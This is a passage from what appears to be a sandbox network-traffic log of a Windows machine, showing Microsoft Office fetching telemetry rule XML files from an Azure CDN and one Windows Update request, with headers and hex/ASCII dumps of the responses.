89	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 23665d8e-b01e-0098-3e05-41cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185000Z-174f7845968jrjrxhC1EWRmmrs00000010g0000000006zwr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:00 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:01 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185001Z-174f7845968px8v7hC1EWR08ng00000010eg00000000pvby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:01 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:01 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 75932801-b01e-00ab-324d-40dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185001Z-174f7845968ljs8phC1EWRe6en000000104g00000000cz3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:01 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:00 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:01 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:01 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 2c9dd3b5-d01e-0049-7af2-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185001Z-174f7845968qj8jrhC1EWRh41s00000010900000000090u8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:01 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: fe0e881e-601e-0050-1a3a-402c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185002Z-174f7845968kdththC1EWRzvxn0000000cp000000000cead x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:02 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:02 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185002Z-174f78459684bddphC1EWRbht40000001040000000004ct3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:03 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:03 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: ba2d099d-b01e-0098-57d9-41cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185003Z-174f7845968jrjrxhC1EWRmmrs00000010bg00000000hq7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:03 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 37388cc4-c01e-00ad-4fef-41a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185003Z-174f7845968j6t2phC1EWRcfe800000010fg00000000ahcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:03 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:03 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b512d228-e01e-0099-0f05-41da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185003Z-174f7845968pght8hC1EWRyvxg00000003hg000000003avr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185004Z-174f7845968l4kp6hC1EWRe88400000010fg00000000kw68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:04 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:05 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:04 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185004Z-174f7845968qj8jrhC1EWRh41s00000010a0000000006f2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:05 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49833	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:05 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pHarSwZcwhL4vrP&MD=ZoSHVHXf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-29 18:50:05 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 4b74ed00-5009-4251-aac8-4d5a8b710c09 MS-RequestId: af03ec8f-61b0-4c41-ac84-7f51102d5bed MS-CV: QMdZM7ygpkmpuDr9.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 29 Nov 2024 18:50:05 GMT Connection: close Content-Length: 30005
